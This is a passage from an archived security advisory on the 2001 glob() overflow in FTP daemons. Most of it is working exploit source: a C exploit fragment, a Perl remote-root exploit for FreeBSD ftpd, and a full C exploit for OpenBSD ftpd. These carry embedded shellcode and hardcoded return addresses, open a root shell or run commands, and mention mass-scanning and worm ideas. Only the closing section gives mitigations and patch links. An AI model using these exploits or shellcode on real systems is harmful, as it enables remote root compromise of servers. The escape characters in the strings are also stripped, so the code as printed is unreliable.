		 usage(argv[0]);
	
	 /* setup the debug level */
	 switch(debuglevel)
	 {
	 case 1:
		 debug_read = 1;
		 debug_write = 0;
		 break;
	
	 case 2:
		 debug_read = 1;
		 debug_write = 1;
		 break;
	
	 default:
		 debug_read = 0;
		 debug_write = 0;
		 break;
	 }
	
	 /* make sure the shellcode is good */
	 if(!verify_shellcode(shellcode))
		 return EXIT_FAILURE;
	
	 /* initiate the tcp connection to the ftp server */
	 if((sock = tcp_connect(host, port)) == -1)
	 {
		 fprintf(stderr, \"[-] Connection to %s failed!n\", host);
		 ftp_quit(sock);
		 return EXIT_FAILURE;
	 }
	
	 if(arch == NULL)
		 printf(\"[0] Connected to host %s.n\", host);
	 else
		 printf(\"[0] Connected to host %sntusing type:t%s.n\",
		 host, arch->description);
	
	
	 /* login */
	 if(!ftp_login(sock, username, password))
	 {
		 fprintf(stderr, \"[-] Login failed, aborting!n\");
		 ftp_quit(sock);
		 return EXIT_FAILURE;
	 }
	
	 /* hey, so im anal! */
	 memset(password, \'X\', strlen(password));
	 memset(username, \'X\', strlen(username));
	
	 printf(\"[1] Login succeeded.n\");
	
	 if(sleep != 0)
		 sleep(sleep_time);
	
	 if(homedir == NULL)
	 {
		 /* get home directory */
		 if((homedir = ftp_gethomedir(sock)) == NULL)
		 {
		 fprintf(stderr, \"[-] Couldn\'t retrieve home directory, aborting!n\");
		 ftp_quit(sock);
		 return EXIT_FAILURE;
		 }
	 }
	
	 printf(\"[2] Home directory retrieved as \"%s\", %u bytes.n\",
		 homedir, strlen(homedir));
	
	 /* do the exploitation */
	 if(!ftp_glob_exploit(sock, homedir, code_addr, shellcode))
	 {
		 fprintf(stderr, \"[-] exploit failed, aborting!n\");
		 ftp_quit(sock);
		 return EXIT_FAILURE;
	 }
	
	
	 free(host);
	 return EXIT_SUCCESS;
	 }
	
	This is another version of globbing exploit. It creates only one directory.
	
	 #!/usr/bin/perl
	
	 ###############################################################################
	 # glob() ftpd remote root exploit for freebsd 4.2-stable #
	 # #
	 # babcia padlina ltd. / venglin@freebsd.lublin.pl #
	 # #
	 # this version requires user access and writeable homedir without chroot. #
	 ###############################################################################
	
	 require 5.002;
	 use strict;
	 use sigtrap;
	 use Socket;
	
	 my($recvbuf, $host, $user, $pass, $iaddr, $paddr, $proto, $code, $ret, $off, $align, $rin, $rout, $read);
	
	 # teso shellcode ripped from 7350obsd
	
	 $code = \"x31xc0x99x52x52xb0x17xcdx80x68xccx73x68xccx68\";
	 $code .= \"xccx62x69x6exb3x2exfexc3x88x1cx24x88x5cx24x04\";
	 $code .= \"x88x54x24x07x89xe6x8dx5ex0cxc6x03x2ex88x53x01\";
	 $code .= \"x52x53x52xb0x05xcdx80x89xc1x8dx5ex05x6axedx53\";
	 $code .= \"x52xb0x88xcdx80x53x52xb0x3dxcdx80x51x52xb0x0c\";
	 $code .= \"x40xcdx80xbbxccxccxccxccx81xebx9ex9ex9dxccx31\";
	 $code .= \"xc9xb1x10x56x01xcex89x1ex83xc6x03xe0xf9x5ex8d\";
	 $code .= \"x5ex10x53x52xb0x3dxcdx80x89x76x0cx89x56x10x8d\";
	 $code .= \"x4ex0cx52x51x56x52xb0x3bxcdx80xc9xc3x55x89xe5\";
	 $code .= \"x83xecx08xebx12xa1x3cx50x90\";
	
	 #$ret = 0xbfbfeae8; - stos lagoona
	 #$ret = 0x805baf8; - bss info
	 $ret = 0x805e23a; # - bss lagoon
	
	 if (@ARGV < 3)
	 {
		 print \"Usage: 0ドル <hostname> <username> <password> [align] [offset]n\";
		 exit;
	 }
	
	 ($host, $user, $pass, $align, $off) = @ARGV;
	
	 if (defined($off))
	 {
		 $ret += $off;
	 }
	
	 if (!defined($align))
	 {
		 $align = 1;
	 }
	
	 print \"Globulka v1.0 by venglin@freebsd.lublin.plnn\";
	 print \"RET: 0x\" . sprintf(\'%lx\', $ret) . \"n\";
	 print \"Align: $alignnn\";
	
	 $iaddr = inet_aton($host)			or die \"Unknown host: $hostn\";
	 $paddr = sockaddr_in(21, $iaddr)		or die \"getprotobyname: $!n\";
	 $proto = getprotobyname(\'tcp\')			or die \"getprotobyname: $!n\";
	
	 socket(SOCKET, PF_INET, SOCK_STREAM, $proto)	or die \"socket: $!n\";
	 connect(SOCKET, $paddr)				or die \"connect: $!n\";
	
	 do
	 {
		 $recvbuf = <SOCKET>;
	 }
	 while($recvbuf =~ /^220- /);
	
	 print $recvbuf;
	
	 if ($recvbuf !~ /^220 .+/)
	 {
		 die \"Exploit failed.n\";
	 }
	
	 send(SOCKET, \"USER $userrn\", 0)		or die \"send: $!n\";
	 $recvbuf = <SOCKET>;
	
	 if ($recvbuf !~ /^(331|230) .+/)
	 {
		 print $recvbuf;
		 die \"Exploit failed.n\";
	 }
	
	 send(SOCKET, \"PASS $passrn\", 0)		or die \"send: $!n\";
	 $recvbuf = <SOCKET>;
	
	 if ($recvbuf !~ /^230 .+/)
	 {
		 print $recvbuf;
		 die \"Exploit failed.n\";
	 }
	 else
	 {
		 print \"Logged in as $user/$pass. Sending evil STAT command.nn\";
	 }
	
	 send(SOCKET, \"MKD \" . \"A\"x255 . \"rn\", 0)		or die \"send: $!n\";
	 $recvbuf = <SOCKET>;
	
	 if ($recvbuf !~ /^(257|550) .+/)
	 {
		 print $recvbuf;
		 die \"Exploit failed.n\";
	 }
	
	 send(SOCKET, \"STAT A*/../A*/../A*/\" . \"x90\" x (90+$align) . $code .
		 pack(\'l\', $ret) x 30 . \"rn\", 0)		or die \"send: $!n\";
	
	 sleep 1;
	
	 send(SOCKET, \"idn\", 0) 			or die \"send: $!n\";
	 $recvbuf = <SOCKET>;
	
	 if ($recvbuf !~ /^uid=.+/)
	 {
		 die \"Exploit failed.n\";
	 }
	 else
	 {
		 print $recvbuf;
	 }
	
	 vec($rin, fileno(STDIN), 1) = 1;
	 vec($rin, fileno(SOCKET), 1) = 1;
	
	 for(;;)
	 {
		 $read = select($rout=$rin, undef, undef, undef);
		 if (vec($rout, fileno(STDIN), 1) == 1)
		 {
			 if (sysread(STDIN, $recvbuf, 1024) == 0)
			 {
				 exit;
			 }
			 send(SOCKET, $recvbuf, 0);
		 }
	
		 if (vec($rout, fileno(SOCKET), 1) == 1)
		 {
			 if (sysread(SOCKET, $recvbuf, 1024) == 0)
			 {
				 exit;
			 }
			 syswrite(STDIN, $recvbuf, 1024);
		 }
	 }
	
	 close SOCKET;
	
	 exit;
	
	Another code by dvorak, Scrippie and jimjones:
	
	 /*
	 This source code is proprietary material. Commercial use, distribution,
	 modification or use of any part of this source code in any form is
	 strictly prohibited.
	 Non-commercial use, modification and distribution is allowed, as long
	 as any modification is made known to the author.
	 
	 
	 Not fully developed exploit but it works most of the time ;)
	 
	 Things to add:
	 - automatic writeable directory finding
	 - syn-scan option to do mass-scanning
	 - worm capabilities? (should be done seperatly using the -C option
	 
	 11/13/2000
	 */
	 
	 #include <stdio.h>
	 #include <netdb.h>
	 #include <netinet/in.h>
	 #include <sys/socket.h>
	 #include <sys/types.h>
	 #include <unistd.h>
	 #include <limits.h>
	 
	 void usage(char *program);
	 char *strcreat(char *, char *, int);
	 char *longToChar(unsigned long);
	 char *xrealloc(void *, size_t);
	 void xfree(char **ptr);
	 char *xmalloc(size_t);
	 int xconnect(char *host, u_short port);
	 void xsend(int fd, char *buf);
	 void xsendftpcmd(int fd, char *command, char *param);
	 void xrecieveall(int fd, char *buf, int size);
	 void xrecieve(int fd, char *buf, int size);
	 void ftp_login(int fd, char *user, char *password);
	 void exploit(int fd);
	 
	 int verbose = 0;
	 
	 
	 /*
	 Written by dvorak, garbled up by \"Smegma\" with a word xor 0xaabb mask
	 to get rid of dots and slashes.
	 */
	 
	 char heavenlycode[] =
	 \"x31xc0x89xc1x80xc1x02x51x50x04x5ax50xcdx80\"
	 \"xebx10x5ex31xc9xb1x4ax66x81x36xbbxaax46x46xe2xf7xebx05xe8\"
	 \"xebxffxffxffxffxffxffx50xcfxe5x9bx7bxfaxbfxbdxebx67x3bxfc\"
	 \"x8ax6ax33xecxbaxaex33xfax76x2ax8ax6axebx22xfdxb5x36xf4xa5\"
	 \"xf9xbfxafxebx67x3bx23x7axfcx8ax6axbfx97xebx67x3bxfbx8ax6a\"
	 \"xbfxa4xf3xfax76x2ax36xf4xb9xf9x8ax6axbfxa6xebx67x3bx27xe5\"
	 \"xb4xe8x9bx7bxaex86xfax76x2ax8ax6axebx22xfdx8dx36xf4x93xf9\"
	 \"x36xf4x9bx23xe5x82x32xecx97xf9xbfx91xebx67x3bx42x2dx55x44\"
	 \"x55xfaxebx95x84x94x84x95x85x95x84x94x84x95x85x95x84x94x84\"
	 \"x95x85x95x84x94x84x95x85x95x84x94x84x95xebx94xc8xd2xc4x94\"
	 \"xd9xd3\";
	 
	 char user[255] = \"anonymous\";
	 char pass[255] = \"anonymous@abc.com\";
	 char write_dir[PATH_MAX] = \"/\";
	 int ftpport = 21;
	 unsigned long int ret_addr = 0;
	 #define CMD_LOCAL 0
	 #define CMD_REMOTE 1
	 int command_type = -1;
	 char *command = NULL;
	 
	 struct typeT {
	 char *name;
	 unsigned long int ret_addr;
	 };
	 
	 #define NUM_TYPES 2
	 struct typeT types[NUM_TYPES] = {
	 \"OpenBSD 2.6\", 0xdfbfd0ac,
	 \"OpenBSD 2.7\", 0xdfbfd0ac};
	 
	 void
	 usage(char *program)
	 {
	 int i;
	 fprintf(stderr,
	 \"nUsage: %s [-h host] [-f port] [-u user] [-p pass] [-d direct
	 ory] [-t type]ntt[-r retaddr] [-c command]
	 [-C command]nn\"
	 \"Directory should be an absolute path, writable by the user.n\"
	 \"The argument of -c will be executed on the remote hostn\"
	 \"while the argument of -C will be executed on the localn\"
	 \"with its filedescriptors connected to the remote hostn\"
	 \"Valid types:n\",
	 program);
	 for (i = 0; i < NUM_TYPES; i++) {
	 printf(\"%d : %sn\", i, types[i].name);
	 }
	 exit(-1);
	 }
	 
	 
	 main(int argc, char **argv)
	 {
	 unsigned int i;
	 int opt, fd;
	 unsigned int type = 0;
	 char *hostname = \"localhost\";
	 
	 if (argc < 2)
	 usage(argv[0]);
	 
	 while ((opt = getopt(argc, argv, \"h:r:u:f:d:t:vp:c:C:\")) != -1) {
	 switch (opt) {
	 case \'h\':
	 hostname = optarg;
	 break;
	 case \'C\':
	 command = optarg;
	 command_type = CMD_LOCAL;
	 break;
	 case \'c\':
	 command = optarg;
	 command_type = CMD_REMOTE;
	 break;
	 case \'r\':
	 ret_addr = strtoul(optarg, NULL, 0);
	 break;
	 case \'v\':
	 verbose++;
	 break;
	 case \'f\':
	 if (!(ftpport = atoi(optarg))) {
	 fprintf(stderr, \"Invalid destination port - %s
	 n\", optarg);
	 exit(-1);
	 }
	 exit(-1);
	 break;
	 case \'u\':
	 strncpy(user, optarg, sizeof(user) - 1);
	 user[sizeof(user) - 1] = 0x00;
	 break;
	 case \'p\':
	 strncpy(pass, optarg, sizeof(pass) - 1);
	 pass[sizeof(pass) - 1] = 0x00;
	 break;
	 case \'d\':
	 strncpy(write_dir, optarg, sizeof(write_dir) - 1);
	 write_dir[sizeof(write_dir) - 1] = 0x00;
	 if ((write_dir[0] != \'/\'))
	 usage(argv[0]);
	 if ((write_dir[strlen(write_dir) - 1] != \'/\'))
	 strncat(write_dir, \"/\", sizeof(write_dir) - 1);
	 break;
	 case \'t\':
	 type = atoi(optarg);
	 if (type> NUM_TYPES)
	 usage(argv[0]);
	 break;
	 default:
	 usage(argv[0]);
	 }
	 }
	 
	 if (ret_addr == 0)
	 ret_addr = types[type].ret_addr;
	 if ((fd = xconnect(hostname, ftpport)) == -1)
	 exit(-1);
	 else
	 printf(\"Connected to remote host! Sending evil codes.n\");
	 
	 
	 ftp_login(fd, user, pass);
	 exploit(fd);
	 
	 
	 }
	 
	 int
	 ftp_cmd_err(int fd, char *command, char *param, char *res, int size, char * msg
	 )
	 {
	 xsendftpcmd(fd, command, param);
	 xrecieveall(fd, res, size);
	 
	 if (res == NULL)
	 return 0;
	 if (verbose)
	 printf(\"%sn\", res);
	 if (msg && (res[0] != \'2\')) {
	 fprintf(stderr, \"%sn\", msg);
	 exit(-1);
	 }
	 return (res[0] != \'2\');
	 }
	 
	 void shell(int fd)
	 {
	 fd_set readfds;
	 char buf[1];
	 char *tst = \"echo ; echo ; echo HAVE FUN ; id ; uname -an\";
	 
	 write(fd, tst, strlen(tst));
	 while (1) {
	 FD_ZERO(&readfds);
	 FD_SET(0, &readfds);
	 FD_SET(fd, &readfds);
	 select(fd + 1, &readfds, NULL, NULL, NULL);
	 if (FD_ISSET(0, &readfds)) {
	 if (read(0, buf, 1) != 1) {
	 perror(\"read\");
	 exit(1);
	 }
	 write(fd, buf, 1);
	 }
	 if (FD_ISSET(fd, &readfds)) {
	 if (read(fd, buf, 1) != 1) {
	 perror(\"read\");
	 exit(1);
	 }
	 write(1, buf, 1);
	 }
	 }
	 }
	 
	 void do_command(int fd)
	 {
	 char buffer[1024];
	 int len;
	 
	 if (command_type == CMD_LOCAL) {
	 dup2(fd, 0);
	 dup2(fd, 1);
	 dup2(fd, 2);
	 execl(command, command, NULL);
	 exit (2);
	 }
	 write(fd, command, strlen(command));
	 write(fd, \"n\", 1);
	 while ((len = read(fd, buffer, sizeof(buffer)))> 0) {
	 write(1, buffer, len);
	 }
	 exit (0);
	 }
	 
	 int exploit_ok(int fd)
	 {
	 char result[1024];
	 xsend(fd, \"idn\");
	 
	 xrecieve(fd, result, sizeof(result));
	 return (strstr(result, \"uid=\") != NULL);
	 }
	 
	 void exploit(int fd)
	 {
	 char res[1024];
	 int heavenlycode_s;
	 char *dir = NULL;
	 
	 ftp_cmd_err(fd, \"CWD\", write_dir, res, 1024, \"Can\'t CWD to write_dir\");
	 
	 dir = strcreat(dir, \"A\", 255 - strlen(write_dir));
	 ftp_cmd_err(fd, \"MKD\", dir, res, 1024, NULL);
	 ftp_cmd_err(fd, \"CWD\", dir, res, 1024, \"Can\'t change to directory\");
	 xfree(&dir);
	 
	 /* next on = 256 */
	 
	 dir = strcreat(dir, \"A\", 255);
	 ftp_cmd_err(fd, \"MKD\", dir, res, 1024, NULL);
	 ftp_cmd_err(fd, \"CWD\", dir, res, 1024, \"Can\'t change to directory\");
	 xfree(&dir);
	 /* next on = 512 */
	 
	 heavenlycode_s = strlen(heavenlycode);
	 dir = strcreat(dir, \"A\", 254 - heavenlycode_s);
	 dir = strcreat(dir, heavenlycode, 1);
	 ftp_cmd_err(fd, \"MKD\", dir, res, 1024, NULL);
	 ftp_cmd_err(fd, \"CWD\", dir, res, 1024, \"Can\'t change to directory\");
	 xfree(&dir);
	 /* next on = 768 */
	 
	 dir = strcreat(dir, longToChar(ret_addr), 252 / 4);
	 ftp_cmd_err(fd, \"MKD\", dir, res, 1024, NULL);
	 ftp_cmd_err(fd, \"CWD\", dir, res, 1024, \"Can\'t change to directory\");
	 xfree(&dir);
	 /* length = 1020 */
	 
	 /* 1022 moet \" zijn */
	 dir = strcreat(dir, \"AAA\"\", 1);
	 ftp_cmd_err(fd, \"MKD\", dir, res, 1024, NULL);
	 ftp_cmd_err(fd, \"CWD\", dir, res, 1024, \"Can\'t change to directory\");
	 xfree(&dir);
	 
	 /* and tell it to blow up */
	 ftp_cmd_err(fd, \"PWD\", NULL, res, 1024, NULL);
	 
	 if (!exploit_ok(fd)) {
	 if (command != NULL) {
	 exit (2);
	 }
	 fprintf(stderr, \"Exploit failedn\");
	 exit (1);
	 }
	 if (command == NULL)
	 shell(fd);
	 else
	 do_command(fd);
	 }
	 
	 
	 char *
	 strcreat(char *dest, char *pattern, int repeat)
	 {
	 char *ret;
	 size_t plen, dlen = 0;
	 int i;
	 
	 if (dest)
	 dlen = strlen(dest);
	 plen = strlen(pattern);
	 
	 ret = (char *) xrealloc(dest, dlen + repeat * plen + 1);
	 
	 if (!dest)
	 ret[0] = 0x00;
	 
	 for (i = 0; i < repeat; i++) {
	 strcat(ret, pattern);
	 }
	 return (ret);
	 }
	 
	 char *
	 longToChar(unsigned long blaat)
	 {
	 char *ret;
	 
	 ret = (char *) xmalloc(sizeof(long) + 1);
	 memcpy(ret, &blaat, sizeof(long));
	 ret[sizeof(long)] = 0x00;
	 
	 return (ret);
	 }
	 
	 char *
	 xrealloc(void *ptr, size_t size)
	 {
	 char *wittgenstein_was_a_drunken_swine;
	 
	 if (!(wittgenstein_was_a_drunken_swine = (char *) realloc(ptr, size)))
	 {
	 fprintf(stderr, \"Cannot calculate universen\");
	 exit(-1);
	 }
	 return (wittgenstein_was_a_drunken_swine);
	 }
	 
	 void
	 xfree(char **ptr)
	 {
	 if (!ptr || !*ptr)
	 return;
	 free(*ptr);
	 *ptr = NULL;
	 }
	 
	 char *
	 xmalloc(size_t size)
	 {
	 char *heidegger_was_a_boozy_beggar;
	 
	 if (!(heidegger_was_a_boozy_beggar = (char *) malloc(size))) {
	 fprintf(stderr, \"Out of cheese errorn\");
	 exit(-1);
	 }
	 return (heidegger_was_a_boozy_beggar);
	 }
	 
	 
	 int
	 xconnect(char *host, u_short port)
	 {
	 struct hostent *he;
	 struct sockaddr_in s_in;
	 int fd;
	 
	 if ((he = gethostbyname(host)) == NULL) {
	 perror(\"gethostbyname\");
	 return (-1);
	 }
	 memset(&s_in, 0, sizeof(s_in));
	 s_in.sin_family = AF_INET;
	 s_in.sin_port = htons(port);
	 memcpy(&s_in.sin_addr.s_addr, he->h_addr, he->h_length);
	 
	 if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
	 perror(\"socket\");
	 return (-1);
	 }
	 if (connect(fd, (const struct sockaddr *) & s_in, sizeof(s_in)) == -1)
	 {
	 perror(\"connect\");
	 return (-1);
	 }
	 return fd;
	 }
	 
	 /* returns status from ftpd */
	 void
	 ftp_login(int fd, char *user, char *password)
	 {
	 char reply[512];
	 int rep;
	 xrecieveall(fd, reply, sizeof(reply));
	 if (verbose) {
	 printf(\"Logging in ..n\");
	 printf(\"%sn\", reply);
	 }
	 xsendftpcmd(fd, \"USER\", user);
	 xrecieveall(fd, reply, sizeof(reply));
	 if (verbose)
	 printf(\"%sn\", reply);
	 xsendftpcmd(fd, \"PASS\", password);
	 xrecieveall(fd, reply, sizeof(reply));
	 if (verbose)
	 printf(\"%sn\", reply);
	 
	 if (reply[0] != \'2\') {
	 printf(\"Login failed.n\");
	 exit(-1);
	 }
	 }
	 
	 void
	 xsendftpcmd(int fd, char *command, char *param)
	 {
	 xsend(fd, command);
	 
	 if (param != NULL) {
	 xsend(fd, \" \");
	 xsend(fd, param);
	 }
	 xsend(fd, \"rn\");
	 }
	 
	 
	 void
	 xsend(int fd, char *buf)
	 {
	 
	 if (send(fd, buf, strlen(buf), 0) != strlen(buf)) {
	 perror(\"send\");
	 exit(-1);
	 }
	 }
	 
	 void
	 xrecieveall(int fd, char *buf, int size)
	 {
	 char scratch[6];
	 
	 if (buf == NULL || size == 0) {
	 buf = scratch;
	 size = sizeof(scratch);
	 }
	 memset(buf, 0, size);
	 do {
	 xrecieve(fd, buf, size);
	 } while (buf[3] == \'-\');
	 }
	 /* recieves a line from the ftpd */
	 void
	 xrecieve(int fd, char *buf, int size)
	 {
	 char *end;
	 char ch;
	 
	 end = buf + size;
	 
	 while (buf < end) {
	 if (read(fd, buf, 1) != 1) {
	 perror(\"read\"); /* XXX */
	 exit(-1);
	 }
	 if (buf[0] == \'n\') {
	 buf[0] = \'\';
	 return;
	 }
	 if (buf[0] != \'r\') {
	 buf++;
	 }
	 }
	 buf--;
	 while (read(fd, buf, 1) == 1) {
	 if (buf[0] == \'n\') {
	 buf[0] = \'\';
	 return;
	 }
	 }
	 perror(\"read\"); /* XXX */
	 exit(-1);
	 }
	
	
	
	 Update
	 ======
	
	Replugge [Rod] posted :
	
	A problem exist in the ftp client provided by Kerberos 5 1.2.2,
	kerberos 5 ftp client is provided by the rpm package
	krb5-workstation-1.2.2-12.
	 
	# ftp localhost
	Connected to localhost.localdomain.
	220 testbox.something.com FTP server (Version wu-2.6.1-16.7x.1) ready.
	530 Please login with USER and PASS.
	530 Please login with USER and PASS.
	KERBEROS_V4 rejected as an authentication type
	Name (localhost:user1): anonymous
	331 Guest login ok, send your complete e-mail address as password.
	Password:
	230 Guest login ok, access restrictions apply.
	Remote system type is UNIX.
	Using binary mode to transfer files.
	ftp> get ~{
	remote: ~{
	Segmentation fault
	
SOLUTION
	This advisory will be updated as more information becomes available.
	The most recent version is available from the PGP Security website at:
	
	 http://www.pgp.com/research/covert/advisories/048.asp
	
	The CERT/CC is coordinating the collection of information on vulnerable
	distributions from third party vendors. For more information, please
	read CERT Advisory CA-2001-07 available at:
	
	 http://www.cert.org/advisories/CA-2001-07.html
	
	In lieu of a patch, these vulnerabilities may be addressed in a general
	fashion by ensuring that no directories exist in the anonymous FTP tree
	that are writable by the anonymous FTP user. Furthermore, BSD and Irix
	users should take care to ensure that no directory in the anonymous FTP
	tree has a name longer than 8 characters. It is important to note that
	these precautions will not prevent local user privilege escalation
	through the FTP daemon.
	
	For NetBSD fixed versions are:
	
	 NetBSD-current: April 03, 2001
	 NetBSD-1.5 branch: April 04, 2001
	 NetBSD-1.4 branch: April 04, 2001
	
	Chris Evans added following. vsftpd is not vulnerable, because
	 1) It contains a minimal internal pattern matcher, which uses a
	 secure string handling API.
	 2) It does not use the underlying operating system\'s glob() at all.
	
	vsftpd is available at:
	
	 ftp://ferret.lmh.ox.ac.uk/pub/linux/vsftpd-0.0.15.tar.gz
	
	In fact because of point 2) above, vsftpd is safe even on systems with
	buggy glob() such as OpenBSD etc. For a while now, the security documentation
	has specifically commented on the risks of using glob().
	
	For FreeBSD:
	
	 ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-01:33/glob.4.x.patch
	 ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-01:33/glob.4.x.patch.asc
	 ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-01:33/glob.3.x.patch
	 ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-01:33/glob.3.x.patch.asc
	
	For Progeny Linux:
	
	 wget http://archive.progeny.com/progeny/updates/newton/ftpd_0.17-3_i386.deb
	
	For Caldera Unixware :
	
	 ftp://stage.caldera.com/pub/security/unixware/CSSA-2001-SCO.27/
	 md5 checksums: 080551194083e645312089995feb330b	erg711697a.Z
	
	
	

AltStyle によって変換されたページ (->オリジナル) /

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH